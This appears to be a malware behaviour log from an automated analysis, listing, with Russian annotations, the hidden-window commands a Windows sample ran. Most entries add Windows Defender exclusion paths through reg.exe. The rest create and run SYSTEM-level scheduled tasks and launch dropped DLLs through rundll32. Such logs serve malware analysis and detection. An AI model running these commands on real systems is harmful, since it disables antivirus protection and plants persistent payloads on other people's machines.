- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%TEMP%\oiuwertmnasgbkj.exe' /comm we /adp WSAZ4GTAZ5JSAZ1PSAZ4GTAZ6QSAZ2AUAZ2FUAZ4QSAZ8PTAZ4OSAZ0WSAZ7OUAZ1PTAZ3UTAZ5FUAZ6FUAZ0' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:64' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:32' (со скрытым окном)
- '<SYSTEM32>\rundll32.exe' "%TEMP%\BBeQLtgiINwxnYokx\TeHkgkhgctsFYtJK\ccnkozD.dll",#1 /adp XTAZ6MUAZ5GSAZ1QSAZ8GSAZ1DUAZ6GTAZ3JTAZ7LTAZ7STAZ3BTAZ4YSAZ4VTAZ9MUAZ1LSAZ0 /site_id 724' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bkuzeuLkgsfVJyKVPNw" /SC once /ST 00:04:43 /V1 /F /RU "SYSTEM" /TR "\"%TEMP%\oiuwertmnasgbkj.exe\" /comm we /adp WSAZ4GTAZ5JSAZ1PSAZ4GTAZ6QSAZ2AUAZ2FUAZ4QSAZ8PTAZ4OSAZ0WSAZ7OUAZ1PT...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /TN "KJMNwfnoaWMfhxH" /F
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "KJMNwfnoaWMfhxH"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /TN "bkuzeuLkgsfVJyKVPNw" /F
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "bkuzeuLkgsfVJyKVPNw"
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "<LS_APPDATA>Low\lltgznTbqqOCq" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\BBeQLtgiINwxnYokx" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "KJMNwfnoaWMfhxH2"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "kzDJDuZYgnQRmzA" /SC once /ST 00:02:34 /V1 /F /RU "SYSTEM" /TR "rundll32 \"%TEMP%\BBeQLtgiINwxnYokx\TeHkgkhgctsFYtJK\ccnkozD.dll\",#1 /adp XTAZ6MUAZ5GSAZ1QSAZ8GSAZ1DUAZ6GTAZ3JTAZ7L...
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "WByhYcedlOQavqREWte2" /xml "%ProgramFiles(x86)%\NIErSAELLsOOC\MUjspDz.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "ibZIUHjYTxUPTmNsU2" /xml "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR\sCfdKRd.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "WZdwAMJoIRSYG2" /xml "%PROGRAMDATA%\LUBciApiRJzrvXVB\OAUUCKP.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "EJlCPXAxczfLnX" /xml "%ProgramFiles(x86)%\XAIfWVzjYwlU2\VVRRIHU.xml" /RU "SYSTEM"
- '<SYSTEM32>\rundll32.exe' "%TEMP%\BBeQLtgiINwxnYokx\TeHkgkhgctsFYtJK\ccnkozD.dll",#1 /adp XTAZ6MUAZ5GSAZ1QSAZ8GSAZ1DUAZ6GTAZ3JTAZ7LTAZ7STAZ3BTAZ4YSAZ4VTAZ9MUAZ1LSAZ0 /site_id 724
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "KJMNwfnoaWMfhxH2" /xml "%ProgramFiles(x86)%\udVlifMMU\pNzHZKz.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "EJlCPXAxczfLnX"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /TN "KJMNwfnoaWMfhxH2" /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "rundll32 \"%ProgramFiles(x86)%\udVlifMMU\SNkDQA.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "KJMNwfnoaWMfhxH" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /TN "WZdwAMJoIRSYG2" /F
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "WZdwAMJoIRSYG2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /TN "WZdwAMJoIRSYG" /F
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "WZdwAMJoIRSYG"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /TN "EJlCPXAxczfLnX" /F
- '%WINDIR%\syswow64\schtasks.exe' /run /tn "kzDJDuZYgnQRmzA"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%PROGRAMDATA%\LUBciApiRJzrvXVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C mkdir "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" && copy nul "%WINDIR%\Temp\ZePIqOOyHXxJvXGe\OiQZEhFCQGdtIzPj.vbs"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\gpupdate.exe' /force /target:computer
- '%WINDIR%\syswow64\schtasks.exe' /run /tn "bkuzeuLkgsfVJyKVPNw"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\ZePIqOOyHXxJvXGe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NIErSAELLsOOC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\udVlifMMU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\bzDQAplLjIE" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XSeHBAjlvbTDePgmqbR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\XAIfWVzjYwlU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\NbbDohHftPUn" /t REG_DWORD /d 0 /reg:64
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe'
- '%ProgramFiles(x86)%\mozilla firefox\firefox.exe'